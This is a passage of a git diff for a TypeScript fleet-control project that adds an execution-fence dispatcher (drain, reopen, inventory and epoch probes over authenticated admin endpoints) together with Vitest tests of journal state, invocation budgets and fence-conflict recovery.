}), + ...(reason.requireMutationEpoch === undefined + ? {} + : { requireMutationEpoch: flag(reason.requireMutationEpoch) }), + ...(reason.transitionRevision === undefined + ? {} + : { transitionRevision: counter(reason.transitionRevision) }), + ...(reason.conflict === undefined ? {} : { conflict: reason.conflict }), + }, + }; +} + +export async function dispatchDirectFence( + context: DirectReferenceContext, + manifest: DirectRunManifest, + action: Extract, + invocationSignal: AbortSignal, +): Promise { + const record = await context.control.getDeployment( + manifest.names.roles[action.role].tenantTag, + manifest.environment, + ); + if (!record || context.roleFor(record) !== action.role) + throw new DirectReferenceExecutionError(); + const spec = context.specFor(record); + if (!spec.routeHostname) throw new DirectReferenceExecutionError(); + const { operation } = action; + const application = + operation === 'mutate-current' || operation.startsWith('probe-'); + const secrets = context.secrets(action.role); + const token = application + ? secrets.application?.APP_PROBE_TOKEN + : secrets.maintenanceAdmin; + if (typeof token !== 'string' || !token) + throw new DirectReferenceExecutionError(); + + async function request(path: string, body?: unknown) { + const url = new URL(path, `https://${spec.routeHostname}`); + const cleanup = new AbortController(); + const signal = AbortSignal.any([ + invocationSignal, + cleanup.signal, + AbortSignal.timeout(context.transport.effectiveRequestTimeoutMs), + ]); + let response: Response | undefined; + let bodySettled: Promise | undefined; + try { + const fetch = application + ? context.transport.applicationFetch + : context.transport.maintenanceFetch; + response = await fetch(url, { + method: body === undefined ? 'GET' : 'POST', + headers: { + authorization: `Bearer ${token}`, + ...(body === undefined ? {} : { 'content-type': 'application/json' }), + }, + ...(body === undefined ? {} : { body: JSON.stringify(body) }), + signal, + }); + const media = response.headers + .get('content-type') + ?.split(';')[0] + ?.trim() + .toLowerCase(); + if ( + (response.status !== 200 && + !( + response.status === 409 && + (operation === 'drain' || operation === 'reopen') + )) || + media !== 'application/json' + ) + throw new DirectReferenceExecutionError(); + const stream = new TransformStream(); + bodySettled = response.body + ?.pipeTo(stream.writable, { signal }) + .catch(() => undefined); + const bodyInit = { + method: 'POST', + headers: response.headers, + body: response.body ? stream.readable : undefined, + signal, + duplex: 'half' as const, + }; + const bounded = await readBoundedBody( + new Request(url, bodyInit), + operation === 'inventory' ? 65536 : 4096, + ); + if (!bounded.ok) throw new DirectReferenceExecutionError(); + let decoded: unknown; + try { + decoded = JSON.parse(bounded.text); + } catch { + throw new DirectReferenceExecutionError(); + } + return { status: response.status, value: object(decoded) }; + } finally { + cleanup.abort(); + await bodySettled; + if (response && !response.bodyUsed && !response.body?.locked) + await response.body?.cancel().catch(() => undefined); + } + } + + if (operation === 'read') + return reading((await request('/admin/execution-fence')).value); + if (operation === 'drain' || operation === 'reopen') { + const { expectedMutationEpoch, expectedRevision } = action; + const result = await request( + '/admin/execution-fence', + operation === 'drain' + ? { + expected: 'open', + next: 'draining', + expectedMutationEpoch, + expectedRevision, + advanceMutationEpoch: true, + } + : { + expected: 'draining', + next: 'open', + expectedMutationEpoch, + expectedRevision, + }, + ); + return transition(result.status, result.value); + } + if (operation === 'inventory') { + const fence = reading((await request('/admin/execution-fence')).value); + const index = (await request('/admin/inventory')).value; + if (!Array.isArray(index.categories)) + throw new DirectReferenceExecutionError(); + const categories = []; + for (const entry of index.categories) { + const descriptor = object(entry); + const category = text(descriptor.category); + const categoryClass = text(descriptor.class); + const page = ( + await request( + `/admin/inventory?category=${encodeURIComponent(category)}`, + ) + ).value; + if (!Array.isArray(page.entries)) + throw new DirectReferenceExecutionError(); + if (page.cursor !== undefined) text(page.cursor); + categories.push({ + category, + class: categoryClass, + empty: page.entries.length === 0 && page.cursor === undefined, + }); + } + return { fence, categories, observedAt: Date.now() }; + } + if (operation === 'mutate-current') { + const { value } = await request('/__direct/fence-mutate', { + phase: 'both', + }); + return { + accepted: flag(value.accepted), + ...(value.code === undefined ? {} : { code: text(value.code) }), + ...(value.classification === undefined + ? {} + : { classification: text(value.classification) }), + ...(value.status === undefined ? {} : { status: counter(value.status) }), + }; + } + const epoch = operation.slice('probe-'.length); + const { value } = await request('/__direct/fence-probe', { epoch }); + if ( + value.epoch !== epoch || + ![ + 'accepted', + 'missing', + 'stale', + 'future', + 'fenced', + 'unexpected', + ].includes(text(value.classification)) + ) + throw new DirectReferenceExecutionError(); + return { + epoch, + classification: value.classification, + ...(value.status === undefined ? {} : { status: counter(value.status) }), + }; +} diff --git a/packages/fleet-control/scripts/direct-reference-lifecycle.ts b/packages/fleet-control/scripts/direct-reference-lifecycle.ts index 3f43cd87..83ac75b8 100644 --- a/packages/fleet-control/scripts/direct-reference-lifecycle.ts +++ b/packages/fleet-control/scripts/direct-reference-lifecycle.ts @@ -30,7 +30,7 @@ import { recordDirectResource } from './direct-reference-observations.js'; type LifecycleAction = Exclude< Extract, - { kind: 'tenant-probe' } + { kind: 'tenant-probe' | 'tenant-fence' } >; type CleanupSlot = `cleanup-${DirectFixtureRole}` | 'cleanup-recovery-initial'; diff --git a/packages/fleet-control/scripts/direct-reference-worker.ts b/packages/fleet-control/scripts/direct-reference-worker.ts index 611f9a93..a7311e10 100644 --- a/packages/fleet-control/scripts/direct-reference-worker.ts +++ b/packages/fleet-control/scripts/direct-reference-worker.ts @@ -8,6 +8,7 @@ import { type DirectReferenceEnvironment, } from './direct-reference-context.js'; import type { DirectReferenceAction } from './direct-reference-contract.mjs'; +import { dispatchDirectFence } from './direct-reference-fence.js'; import { observeDirectForce, recoverDirectForce, @@ -207,6 +208,8 @@ async function dispatch( return recoverDirectForceResidual(context); if (action.kind === 'tenant-probe') return probeDirectTenant(context, manifest, action, signal); + if (action.kind === 'tenant-fence') + return dispatchDirectFence(context, manifest, action, signal); if ('role' in action) return dispatchDirectLifecycle(context, manifest, action, signal); if ( diff --git a/packages/fleet-control/scripts/tsconfig.direct-worker.json b/packages/fleet-control/scripts/tsconfig.direct-worker.json index a3be6712..ea926c78 100644 --- a/packages/fleet-control/scripts/tsconfig.direct-worker.json +++ b/packages/fleet-control/scripts/tsconfig.direct-worker.json @@ -14,6 +14,7 @@ "direct-reference-context.ts", "direct-reference-observations.ts", "direct-reference-lifecycle.ts", + "direct-reference-fence.ts", "direct-reference-r4.ts", "direct-reference-worker.ts" ], diff --git a/packages/fleet-control/test/direct-credentialed-run-state.test.ts b/packages/fleet-control/test/direct-credentialed-run-state.test.ts index ecc7c4fc..5ebde573 100644 --- a/packages/fleet-control/test/direct-credentialed-run-state.test.ts +++ b/packages/fleet-control/test/direct-credentialed-run-state.test.ts @@ -18,6 +18,7 @@ import { join } from 'node:path'; import { fileURLToPath } from 'node:url'; import { afterEach, describe, expect, it, vi } from 'vitest'; import { + actionSummary, DIRECT_RUN_MAX_JOURNAL_BYTES, DIRECT_SCENARIO_ARRAY_MAXIMA, DIRECT_SCENARIO_OPERATION_SLOTS, @@ -905,6 +906,312 @@ const refuses = (journal: DirectRunJournal, state: MutableScenario) => }); describeLinux('durable scenario state', () => { + it('projects and round-trips a drain summary with both expected counters', async () => { + const action = { + kind: 'tenant-fence' as const, + role: 'a' as const, + operation: 'drain' as const, + expectedMutationEpoch: 0, + expectedRevision: 2, + }; + expect(actionSummary(action)).toEqual(action); + const { f, journal } = await scenarioJournal(); + const state = scenarioWith((value) => { + present(value.lastCall).action = action; + present(value.mutation).action = action; + }); + await journal.recordScenario(state); + await closed(journal); + const resumed = await opened({ ...f.input, mode: 'resume' }); + expect(resumed.snapshot().scenario?.lastCall?.action).toEqual(action); + expect(resumed.snapshot().scenario?.mutation?.action).toEqual(action); + }); + + it.each([ + 'expectedMutationEpoch', + 'expectedRevision', + ] as const)('refuses a non-integer %s in a journalled drain call', async (field) => { + const { journal } = await scenarioJournal(); + await refuses( + journal, + scenarioWith((state) => { + present(state.lastCall).action = { + kind: 'tenant-fence', + role: 'a', + operation: 'drain', + expectedMutationEpoch: 0, + expectedRevision: 2, + [field]: 0.5, + }; + }), + ); + }); + + it('decodes an action summary written before the expected counters existed', async () => { + const { journal } = await scenarioJournal(); + const state = maximalScenario(); + const summary = present(state.lastCall).action; + expect(summary).not.toHaveProperty('expectedMutationEpoch'); + expect(summary).not.toHaveProperty('expectedRevision'); + await journal.recordScenario(state); + expect(journal.snapshot().scenario?.lastCall?.action).toEqual(summary); + }); + + it('decodes a fence group with every role entry null', async () => { + const { journal } = await scenarioJournal(); + const state = scenarioWith((value) => { + value.proofs.fence = { + drain: { a: null, b: null }, + sweeps: { a: null, b: null }, + reopen: { a: null, b: null }, + probes: { a: null, b: null }, + }; + }); + await journal.recordScenario(state); + expect(journal.snapshot().scenario?.proofs.fence).toEqual( + state.proofs.fence, + ); + }); + + it('decodes partial fence transitions and sweeps with nullable later members', async () => { + const { journal } = await scenarioJournal(); + const state = scenarioWith((value) => { + for (const role of ['a', 'b'] as const) { + for (const group of ['drain', 'reopen'] as const) { + const entry = present(value.proofs.fence[group][role]); + entry.before = { + state: 'open', + mutationEpoch: 0, + requireMutationEpoch: false, + transitionRevision: 0, + }; + entry.after = null; + entry.ordinal = null; + } + const sweep = present(value.proofs.fence.sweeps[role]); + sweep.second = null; + sweep.intervalMs = null; + first(sweep.first.categories).empty = true; + first(sweep.first.categories).class = 'work'; + } + }); + await journal.recordScenario(state); + expect(journal.snapshot().scenario?.proofs.fence).toEqual( + state.proofs.fence, + ); + }); + + it('decodes filled fence evidence with a zero sweep interval', async () => { + const { journal } = await scenarioJournal(); + const state = completeScenario(); + for (const role of ['a', 'b'] as const) + present(state.proofs.fence.sweeps[role]).intervalMs = 0; + await journal.recordScenario(state); + expect(journal.snapshot().scenario?.proofs.fence).toEqual( + state.proofs.fence, + ); + }); + + it('refuses an unknown fence proof key', async () => { + const { journal } = await scenarioJournal(); + await refuses( + journal, + scenarioWith((state) => { + Object.assign(state.proofs.fence, { unknown: null }); + }), + ); + }); + + it('refuses one sweep category past DIRECT_SCENARIO_ARRAY_MAXIMA.inventoryCategories', async () => { + const { journal } = await scenarioJournal(); + await refuses( + journal, + scenarioWith((state) => { + const sweep = present(state.proofs.fence.sweeps.a).first; + sweep.categories = Array.from( + { length: DIRECT_SCENARIO_ARRAY_MAXIMA.inventoryCategories + 1 }, + () => structuredClone(first(sweep.categories)), + ); + }), + ); + }); + + it.each([ + 'a', + 'b', + ] as const)('refuses null before and first members for fence role %s', async (role) => { + const { journal } = await scenarioJournal(); + for (const group of ['drain', 'reopen'] as const) + await refuses( + journal, + scenarioWith((state) => { + Object.assign(present(state.proofs.fence[group][role]), { + before: null, + }); + }), + ); + await refuses( + journal, + scenarioWith((state) => { + Object.assign(present(state.proofs.fence.sweeps[role]), { + first: null, + }); + }), + ); + }); + + it.each([ + 'a', + 'b', + ] as const)('refuses fence ordinals above invocationCount for role %s', async (role) => { + const { journal } = await scenarioJournal(); + for (const group of ['drain', 'reopen', 'probes'] as const) + await refuses( + journal, + scenarioWith((state) => { + present(state.proofs.fence[group][role]).ordinal = 4; + }), + ); + for (const member of ['first', 'second'] as const) + await refuses( + journal, + scenarioWith((state) => { + present(present(state.proofs.fence.sweeps[role])[member]).ordinal = 4; + }), + ); + }); + + it.each([ + 'a', + 'b', + ] as const)('refuses a null drain ordinal past fence-drain for role %s', async (role) => { + const { journal } = await scenarioJournal(); + const state = maximalScenario(); + state.phase = 'migration-start'; + present(state.proofs.fence.drain[role]).ordinal = null; + await refuses(journal, state); + }); + + it.each([ + 'a', + 'b', + ] as const)('refuses a null reopen ordinal past fence-reopen for role %s', async (role) => { + const { journal } = await scenarioJournal(); + const state = completeScenario(); + state.phase = 'fence-proofs'; + present(state.proofs.fence.reopen[role]).ordinal = null; + await refuses(journal, state); + }); + + it.each([ + 'a', + 'b', + ] as const)('preserves established fence entries and their populated members for role %s', async (role) => { + const { journal } = await scenarioJournal(); + const baseline = maximalScenario(); + await journal.recordScenario(baseline); + const rejectChange = async (mutate: (state: MutableScenario) => void) => { + const state = structuredClone(baseline); + mutate(state); + await refuses(journal, state); + }; + for (const group of ['drain', 'reopen', 'sweeps', 'probes'] as const) + await rejectChange((state) => { + state.proofs.fence[group][role] = null; + }); + for (const group of ['drain', 'reopen'] as const) { + await rejectChange((state) => { + present(state.proofs.fence[group][role]).before.transitionRevision--; + }); + for (const reset of [false, true]) { + await rejectChange((state) => { + const entry = present(state.proofs.fence[group][role]); + if (reset) entry.after = null; + else present(entry.after).transitionRevision--; + }); + await rejectChange((state) => { + present(state.proofs.fence[group][role]).ordinal = reset ? null : 2; + }); + } + } + await rejectChange((state) => { + present(state.proofs.fence.sweeps[role]).first.observedAt--; + }); + for (const reset of [false, true]) { + await rejectChange((state) => { + const entry = present(state.proofs.fence.sweeps[role]); + if (reset) entry.second = null; + else present(entry.second).observedAt--; + }); + await rejectChange((state) => { + present(state.proofs.fence.sweeps[role]).intervalMs = reset ? null : 0; + }); + } + for (const member of ['mutationEpoch', 'ordinal'] as const) + await rejectChange((state) => { + present(state.proofs.fence.probes[role])[member]--; + }); + expect(journal.snapshot().scenario?.proofs.fence).toEqual( + baseline.proofs.fence, + ); + }); + + it('completes a null transition after and ordinal on an established fence entry', async () => { + const { journal } = await scenarioJournal(); + const state = maximalScenario(); + for (const group of ['drain', 'reopen'] as const) + for (const role of ['a', 'b'] as const) { + const entry = present(state.proofs.fence[group][role]); + entry.after = null; + entry.ordinal = null; + } + await journal.recordScenario(state); + const complete = maximalScenario(); + await journal.recordScenario(complete); + expect(journal.snapshot().scenario?.proofs.fence).toEqual( + complete.proofs.fence, + ); + }); + + it('completes a null second sweep and interval with a zero interval', async () => { + const { journal } = await scenarioJournal(); + const state = maximalScenario(); + for (const role of ['a', 'b'] as const) { + const entry = present(state.proofs.fence.sweeps[role]); + entry.second = null; + entry.intervalMs = null; + } + await journal.recordScenario(state); + const complete = maximalScenario(); + for (const role of ['a', 'b'] as const) + present(complete.proofs.fence.sweeps[role]).intervalMs = 0; + await journal.recordScenario(complete); + expect(journal.snapshot().scenario?.proofs.fence).toEqual( + complete.proofs.fence, + ); + }); + + it('fills a null fence entry with its partial transition and first sweep', async () => { + const { journal } = await scenarioJournal(); + const state = maximalScenario(); + state.proofs.fence.drain = { a: null, b: null }; + state.proofs.fence.sweeps = { a: null, b: null }; + await journal.recordScenario(state); + const partial = maximalScenario(); + for (const role of ['a', 'b'] as const) { + const transition = present(partial.proofs.fence.drain[role]); + transition.after = null; + transition.ordinal = null; + const sweeps = present(partial.proofs.fence.sweeps[role]); + sweeps.second = null; + sweeps.intervalMs = null; + } + await journal.recordScenario(partial); + expect(journal.snapshot().scenario?.proofs.fence).toEqual( + partial.proofs.fence, + ); + }); + it('publishes a maximal scenario inside the journal byte bound', async () => { const { f, journal } = await scenarioJournal(); await journal.recordScenario(maximalScenario()); @@ -912,8 +1219,12 @@ describeLinux('durable scenario state', () => { join(f.runDirectory, 'journal.json'), 'utf8', ); + console.log( + 'A1_MAXIMAL_SCENARIO_JOURNAL_BYTES', + Buffer.byteLength(serialized), + ); expect(Buffer.byteLength(serialized)).toBeLessThan( - DIRECT_RUN_MAX_JOURNAL_BYTES / 2, + DIRECT_RUN_MAX_JOURNAL_BYTES - 118 * 1024, ); expect(journal.snapshot().scenario?.proofs.cleanup?.evidence.scan).toEqual({ discover: { evidenceSha256: DIGEST, evidenceCount: MAX_COUNT }, @@ -1093,6 +1404,8 @@ describeLinux('durable scenario state', () => { ), deploymentVersions: present(state.proofs.initial.a).currentDeployment .versions, + inventoryCategories: present(present(state.proofs.fence.sweeps.a).first) + .categories, 'inventory.databaseIds': inventory.databaseIds, 'inventory.namespaceIds': inventory.namespaceIds, 'inventory.scriptNames': inventory.scriptNames, @@ -1518,9 +1831,17 @@ describeLinux('durable teardown state', () => { join(f.runDirectory, 'journal.json'), 'utf8', ); + console.log( + 'A1_COMPLETE_TEARDOWN_JOURNAL_BYTES', + Buffer.byteLength(serialized), + ); + console.log( + 'A1_COMPLETE_TEARDOWN_JOURNAL_FREE_BYTES', + DIRECT_RUN_MAX_JOURNAL_BYTES - Buffer.byteLength(serialized), + ); expect( DIRECT_RUN_MAX_JOURNAL_BYTES - Buffer.byteLength(serialized), - ).toBeGreaterThan(100_000); + ).toBeGreaterThan(90 * 1024); }); it('refuses scenario and invocation writes once a teardown is pending or receipted', async () => { diff --git a/packages/fleet-control/test/direct-credentialed-scenario-checks.test.ts b/packages/fleet-control/test/direct-credentialed-scenario-checks.test.ts index b6c5b714..bbe9b04a 100644 --- a/packages/fleet-control/test/direct-credentialed-scenario-checks.test.ts +++ b/packages/fleet-control/test/direct-credentialed-scenario-checks.test.ts @@ -460,11 +460,14 @@ const DECLARED_PHASES = [ 'provision-b', 'inventory-before', 'audit-before', + 'fence-drain', 'migration-start', 'migration-interrupt', 'migration-restart', 'migration', 'post-migration', + 'fence-reopen', + 'fence-proofs', 'inventory-after', 'audit-after', 'failed-recovery', @@ -492,6 +495,18 @@ describe('scenario invocation budget', () => { ); it('derives the phase list from the budget table and keeps both columns on the rule', () => { + console.log( + 'A1_FENCE_BUDGET', + JSON.stringify( + Object.fromEntries( + ['fence-drain', 'fence-reopen', 'fence-proofs'].map((phase) => [ + phase, + DIRECT_SCENARIO_INVOCATION_BUDGET[phase as DirectScenarioPhase], + ]), + ), + ), + ); + console.log('A1_SCENARIO_MIN_INVOCATIONS', DIRECT_SCENARIO_MIN_INVOCATIONS); expect(Object.keys(DIRECT_SCENARIO_INVOCATION_BUDGET)).toEqual([ ...DIRECT_SCENARIO_PHASES, ]); @@ -577,6 +592,11 @@ describe('scenario invocation budget', () => { ['delete-objects', 'decommission-a'], ['delete-objects', 'decommission-b'], ['inventory-before', 'audit-before'], + ['audit-before', 'fence-drain'], + ['fence-drain', 'migration-start'], + ['post-migration', 'fence-reopen'], + ['fence-reopen', 'fence-proofs'], + ['fence-proofs', 'inventory-after'], ['inventory-after', 'audit-after'], ['migration-interrupt', 'migration-restart'], ['cleanup-recovery', 'provision-recovery'], @@ -622,13 +642,13 @@ describe('scenario invocation budget', () => { reserve: 132, ceiling: 216, }); - expect(phaseInvocationReserve('migration')).toBe(484); + expect(phaseInvocationReserve('migration')).toBe(508); const overspent = { ...calls, migration: 200 }; expect( - refusal(() => checkInvocationHeadroom('migration', overspent, 352)), + refusal(() => checkInvocationHeadroom('migration', overspent, 376)), ).toBe('accepted'); expect( - cause(() => checkInvocationHeadroom('migration', overspent, 351)), + cause(() => checkInvocationHeadroom('migration', overspent, 375)), ).toEqual({ code: 'budget-exhausted', detail: 'run-reserve' }); }); diff --git a/packages/fleet-control/test/direct-credentialed-scenario.test.ts b/packages/fleet-control/test/direct-credentialed-scenario.test.ts index 081bf9f0..b2268a6b 100644 --- a/packages/fleet-control/test/direct-credentialed-scenario.test.ts +++ b/packages/fleet-control/test/direct-credentialed-scenario.test.ts @@ -3,7 +3,11 @@ import { spawn } from 'node:child_process'; import { readFile, writeFile } from 'node:fs/promises'; import { join } from 'node:path'; -import { afterEach, describe, expect, it } from 'vitest'; +import { + EXECUTION_FENCE_ROW_ID, + EXECUTION_FENCE_TABLE, +} from '@proofoftech/flowsafe/deployment-identity-protocol'; +import { afterEach, describe, expect, it, vi } from 'vitest'; import { createDirectInvocationClient, type DirectInvocationClient, @@ -540,7 +544,10 @@ async function fixture( async function childResume( f: Awaited>, - fault?: 'export-fsync', + fault?: + | 'export-fsync' + | 'fence-reopen-after-settle' + | 'fence-drain-role-split', ) { await f.local.journal.close(); const script = join(f.local.directory, 'resume.mjs'); @@ -558,10 +565,48 @@ import {syncBuiltinESMExports} from 'node:module'; ${fault === 'export-fsync' ? `const realOpen=fs.open;let injected=false;fs.open=async(...args)=>{const handle=await realOpen(...args);if(String(args[0]).includes('/.journal-')){const realWrite=handle.writeFile.bind(handle),realSync=handle.sync.bind(handle);let proof=false;handle.writeFile=async(value,...rest)=>{const state=JSON.parse(String(value));proof=Boolean(state.scenario?.proofs.exports.a);return realWrite(value,...rest);};handle.sync=async()=>{if(proof&&!injected){injected=true;console.log('SCENARIO_FAULT export-fsync');throw new Error('fixture proof fsync failure');}return realSync();};}return handle;};syncBuiltinESMExports();` : ''} const prepared=await preflightDirectConformance({configPath:${JSON.stringify(f.local.configPath)}}); const journal=await openDirectRunState({configPath:${JSON.stringify(f.local.configPath)},prepared,accountId:'account',mode:'resume'}); +${ + fault === 'fence-reopen-after-settle' + ? `const faulted = Object.freeze({ + ...journal, + recordScenario: async (...args) => { + const result = await journal.recordScenario(...args); + const [scenario] = args; + if (scenario.phase === 'fence-reopen' && + scenario.mutation?.outcome === 'returned' && + scenario.mutation?.action?.kind === 'tenant-fence' && + scenario.mutation?.action?.operation === 'reopen' && + scenario.mutation?.action?.role === 'a' && + scenario.proofs.fence.reopen.a?.after === null) { + console.log('SCENARIO_FAULT fence-reopen-after-settle'); + process.exit(0); + } + return result; + }, +});` + : fault === 'fence-drain-role-split' + ? `const faulted = Object.freeze({ + ...journal, + recordScenario: async (...args) => { + const result = await journal.recordScenario(...args); + const [scenario] = args; + if (scenario.phase === 'fence-drain' && + scenario.proofs.fence.drain.a?.after != null && + scenario.proofs.fence.sweeps.a !== null && + scenario.proofs.fence.drain.b?.after === null && + scenario.proofs.fence.drain.b?.ordinal === null) { + console.log('SCENARIO_FAULT fence-drain-role-split'); + process.exit(0); + } + return result; + }, +});` + : 'const faulted = journal;' +} const originalFetch=globalThis.fetch; const fetch=async(input,init)=>{const request=new Request(input,init);const url=new URL(request.url);if(url.origin!=='https://api.cloudflare.com'&&url.origin!==${JSON.stringify(`https://${f.local.prepared.names.referenceWorker}.attested-account.workers.dev`)})throw new Error('unexpected child origin');const headers=new Headers(request.headers);headers.set('X-Direct-Fixture-Url',request.url);return originalFetch(${JSON.stringify(f.native.bridgeUrl)},{method:request.method,headers,body:request.body,signal:request.signal,redirect:'manual',duplex:'half'});}; globalThis.fetch=async()=>{throw new Error('unexpected child network');}; -try {const invocation=createDirectInvocationClient({prepared,journal,accountWorkersDevSubdomain:'attested-account',invokeSecret:'inert-invoke',fetch});const result=await runDirectCredentialedScenario({prepared,journal,invocation,apiToken:'inert-provider-token',fetch});console.log('SCENARIO_RESULT '+JSON.stringify(result));}finally{await journal.close();} +try {const invocation=createDirectInvocationClient({prepared,journal: faulted,accountWorkersDevSubdomain:'attested-account',invokeSecret:'inert-invoke',fetch});const result=await runDirectCredentialedScenario({prepared,journal: faulted,invocation,apiToken:'inert-provider-token',fetch});console.log('SCENARIO_RESULT '+JSON.stringify(result));}finally{await faulted.close();} `, ); const child = spawn(process.execPath, [script], { @@ -593,7 +638,14 @@ try {const invocation=createDirectInvocationClient({prepared,journal,accountWork const line = stdout .split('\n') .find((line) => line.startsWith('SCENARIO_RESULT ')); - if (!line) throw new Error(`child returned no result: ${stdout}`); + if (!line) { + if ( + fault !== 'fence-reopen-after-settle' && + fault !== 'fence-drain-role-split' + ) + throw new Error(`child returned no result: ${stdout}`); + return { result: null, stdout, stderr }; + } return { result: JSON.parse( line.slice('SCENARIO_RESULT '.length), @@ -642,12 +694,62 @@ describe.sequential('fixed Node scenario through native reference dispatch', { 'utf8', ), }).toMatchObject({ result: { status: 'complete' }, bridgeErrors: [] }); - if (child.result.status !== 'complete') + if (child.result?.status !== 'complete') throw new Error('scenario did not complete'); const proofs = child.result.facts; expect(proofs.restart?.process.pid).toBe(process.pid); expect(proofs.restart?.resumedProcess?.pid).not.toBe(process.pid); for (const role of ['a', 'b'] as const) { + const fence = proofs.fence; + expect(fence.drain[role]).toMatchObject({ + before: { + state: 'open', + mutationEpoch: 0, + requireMutationEpoch: false, + }, + after: { + state: 'draining', + mutationEpoch: 1, + requireMutationEpoch: true, + }, + ordinal: expect.any(Number), + }); + expect(fence.reopen[role]).toMatchObject({ + before: { + state: 'draining', + mutationEpoch: 1, + requireMutationEpoch: true, + }, + after: { state: 'open', mutationEpoch: 1, requireMutationEpoch: true }, + ordinal: expect.any(Number), + }); + expect(fence.sweeps[role]).toMatchObject({ + first: { fence: { state: 'draining' }, ordinal: expect.any(Number) }, + second: { fence: { state: 'draining' }, ordinal: expect.any(Number) }, + intervalMs: expect.any(Number), + }); + for (const sweep of [ + fence.sweeps[role]?.first, + fence.sweeps[role]?.second, + ]) { + expect(sweep).not.toBeNull(); + expect( + sweep?.categories.every( + (entry) => entry.class !== 'work' || entry.empty, + ), + ).toBe(true); + } + expect(fence.probes[role]).toEqual({ + current: 'accepted', + missing: 'missing', + stale: 'stale', + future: 'future', + mutationEpoch: 1, + ordinal: expect.any(Number), + }); + process.stdout.write( + `A1_SWEEP_INTERVAL ${role} ${fence.sweeps[role]?.intervalMs}\n`, + ); expect(proofs.initial[role]?.trafficPercentage).toBe(100); expect(proofs.candidate[role]?.trafficPercentage).toBe(0); expect(proofs.final[role]?.trafficPercentage).toBe(100); @@ -698,6 +800,10 @@ describe.sequential('fixed Node scenario through native reference dispatch', { DIRECT_SCENARIO_INVOCATION_BUDGET; const phaseCalls: Record = JSON.parse(serialized).scenario.phaseCalls; + for (const phase of ['fence-drain', 'fence-reopen', 'fence-proofs']) { + expect(phaseCalls[phase]).toBe(9); + process.stdout.write(`A1_PHASE_CALLS ${phase} ${phaseCalls[phase]}\n`); + } expect( Object.entries(phaseCalls).filter( ([phase, calls]) => calls > (budget[phase]?.ceiling ?? 0), @@ -711,6 +817,317 @@ describe.sequential('fixed Node scenario through native reference dispatch', { }); }); +describe.sequential('fence composition through native reference dispatch', { + timeout: 660_000, +}, () => { + it.each([ + ['reopen', 'draining', 1], + ['reopen', 'open', 2], + ['drain', 'open', 1], + ] as const)('refuses a %s conflict at %s epoch %i without a later mutation', async (operation, state, mutationEpoch) => { + let armed = true; + let mutations: string[] | undefined; + const f = await fixture({ + nodeResponse: async (_request, response) => { + if ( + !armed || + !response.headers.get('content-type')?.includes('application/json') + ) + return response; + const value = (await response.clone().json()) as { + action?: string; + result?: { + ok?: boolean; + after?: { state: string; transitionRevision: number }; + }; + }; + if ( + value.action !== 'tenant-fence' || + value.result?.after?.state !== + (operation === 'drain' ? 'draining' : 'open') + ) + return response; + armed = false; + mutations = [...f.native.world.mutationLog]; + return Response.json( + { + ...value, + result: { + ok: false, + reason: { + code: 'FENCE_CAS_CONFLICT', + state, + mutationEpoch, + requireMutationEpoch: true, + transitionRevision: value.result.after.transitionRevision, + conflict: 'expectation-mismatch', + }, + }, + }, + { status: response.status, headers: response.headers }, + ); + }, + }); + const first = await runDirectCredentialedScenario(f.input()); + if (operation === 'reopen') { + expect(first).toEqual({ status: 'restart-required' }); + expect((await childResume(f)).result).toMatchObject({ + status: 'failed', + reason: 'observation-mismatch', + phase: 'fence-reopen', + }); + } else { + expect(first).toMatchObject({ + status: 'failed', + reason: 'observation-mismatch', + phase: 'fence-drain', + }); + } + expect(armed).toBe(false); + const disk = JSON.parse( + await readFile(join(f.local.journal.directory, 'journal.json'), 'utf8'), + ); + expect(disk.scenario.failure.code).toBe('observation-mismatch'); + expect(f.native.world.mutationLog).toEqual(mutations); + }); + + it.each([ + 'drain', + 'reopen', + ] as const)('accepts a flattened %s conflict with an intervening revision', async (operation) => { + let armed = true; + const f = await fixture({ + nodeResponse: async (_request, response) => { + if ( + !armed || + !response.headers.get('content-type')?.includes('application/json') + ) + return response; + const value = (await response.clone().json()) as { + action?: string; + result?: { + after?: { + state: string; + mutationEpoch: number; + requireMutationEpoch: boolean; + transitionRevision: number; + }; + }; + }; + if ( + value.action !== 'tenant-fence' || + value.result?.after?.state !== + (operation === 'drain' ? 'draining' : 'open') + ) + return response; + armed = false; + return Response.json( + { + ...value, + result: { + ok: false, + reason: { + code: 'FENCE_CAS_CONFLICT', + ...value.result.after, + transitionRevision: value.result.after.transitionRevision + 1, + conflict: 'expectation-mismatch', + }, + }, + }, + { status: response.status, headers: response.headers }, + ); + }, + }); + expect(await runDirectCredentialedScenario(f.input())).toEqual({ + status: 'restart-required', + }); + const child = await childResume(f); + expect(child.result).toMatchObject({ status: 'complete' }); + expect(armed).toBe(false); + if (child.result?.status !== 'complete') + throw new Error('scenario did not complete'); + const entry = child.result.facts.fence[operation].a; + expect(entry?.after).toEqual({ + state: operation === 'drain' ? 'draining' : 'open', + mutationEpoch: 1, + requireMutationEpoch: true, + transitionRevision: (entry?.before.transitionRevision ?? -1) + 2, + }); + if (operation === 'drain') + expect(child.result.facts.fence.reopen.a?.before.transitionRevision).toBe( + (entry?.before.transitionRevision ?? -1) + 1, + ); + }); + + it('replays a settled reopen body and preserves the saved draining sweep', async () => { + const f = await fixture(); + expect(await runDirectCredentialedScenario(f.input())).toEqual({ + status: 'restart-required', + }); + await f.native.reload(); + const hostname = f.local.prepared.names.roles.a.routeHostname; + const bodies: Buffer[] = []; + const originalFetch = f.native.projection.fetch; + const capture = vi + .spyOn(f.native.projection, 'fetch') + .mockImplementation(async (input, init) => { + const url = new URL(input instanceof Request ? input.url : input); + if ( + url.hostname === hostname && + url.pathname === '/admin/execution-fence' && + init?.method === 'POST' && + typeof init.body === 'string' + ) { + const parsed = JSON.parse(init.body); + if (parsed.next === 'open') + bodies.push(Buffer.from(init.body, 'utf8')); + } + return originalFetch(input, init); + }); + cleanup.push(async () => { + capture.mockRestore(); + }); + const child = await childResume(f, 'fence-reopen-after-settle'); + expect(child.stdout).toContain('SCENARIO_FAULT fence-reopen-after-settle'); + expect(child.result).toBeNull(); + expect(bodies).toHaveLength(1); + const saved = JSON.parse( + await readFile(join(f.local.journal.directory, 'journal.json'), 'utf8'), + ) as { scenario: DirectScenarioState }; + expect(saved.scenario).toMatchObject({ + phase: 'fence-reopen', + failure: null, + mutation: { + outcome: 'returned', + action: { kind: 'tenant-fence', operation: 'reopen', role: 'a' }, + }, + proofs: { + fence: { + reopen: { a: { after: null, ordinal: null } }, + sweeps: { + a: { + second: { fence: { state: 'draining' } }, + intervalMs: expect.any(Number), + }, + }, + }, + }, + }); + const inventoryCount = () => + f.native.projection.requests.filter((request) => { + const 